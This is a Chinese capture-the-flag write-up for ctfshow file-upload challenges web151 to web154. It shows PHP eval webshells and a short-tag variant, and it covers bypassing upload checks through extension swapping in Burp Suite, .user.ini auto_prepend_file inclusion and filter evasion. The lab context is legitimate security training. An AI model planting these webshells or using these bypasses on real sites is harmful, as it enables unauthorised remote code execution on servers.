ctfshow 文件上传web151————

web151

题目提示前端校验

F12查看前端代码,更改上传文件类型png为php,以便我们上传php后缀的代码文件。

写一句话木马,先命名为.txt,再更改为php后缀:

<?php @eval($_POST[123]); ?>

上传成功,得到上传的路径

查看根目录,没找到想要的文件名

再往当前文件的上级目录找

找到flag.php,访问即可


web152

像上题一样更改前端校验,上传php文件显示不符合上传类型。

需要上传规定的png文件,把上一题的php后缀改成png,再上传

得到上传到的路径

用bp抓包,修改png为php,才能使后台执行我们上传的代码,再点击send

POST传参如下,得到文件名flag.php

访问文件,得到flag


web153

采用上一题的方法上传png,在bp中修改为php后缀,回显错误。

又尝试修改为phP,还是上传错误,只能通过其他方法间接上传

nginx中有一个.user.ini文件:

.user.ini文件通常位于PHP安装目录的根目录下。当网站进行扫描时,会将.user.ini文件指向路径的内容包含在首页文件处

auto_prepend_file:表示在每个PHP脚本之前自动加载指定的文件。例如auto_prepend_file=111.png

auto_append_file:与auto_prepend_file类似,但内容将添加到PHP脚本的末尾。例如,auto_append_file=111.png

思路:

我们可以上传一个.user.ini文件,文件内容是auto_prepend_file=111.png,这样能成功执行文件内容,进而上传我们想要执行的内容。

首先还是上传111.png,内容是一句话木马:

<?php @eval($_POST[123]); ?>

创建一个.user.ini文件,并上传

bp抓包,添加.user.ini的文件内容

auto_prepend_file=111.png

显示文件上传成功,那么我们的一句话木马也上传成功 

.user.ini上传到了index.php文件,一句话木马也在里面,需要在这个文件下进行post传参。

得到文件名

访问flag.php文件,得到flag

 


web154 

还是和上题一样,上传user.ini,但显示格式不对,那么在文件名后面加上png后缀,再上传。

 bp抓包,更改文件名,去掉后缀,并添加上命令

auto_prepend_file=111.png

 发送后得到上传成功的显示:

然后和上题相同。上传内容为一句话木马的png文件,但显示文件内容不符合,可见对上传的内容进行了限制

删除一句话木马中的php后,显示上传成功,可见该题限制了上传内容不能有php

一句话木马,不使用php,就使用短标签,相当于是简写形式:

<?=eval($_POST[123]);?>

访问/upload/index.php,POST传参,得到flag.php

再访问flag.php

-

  • 11
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值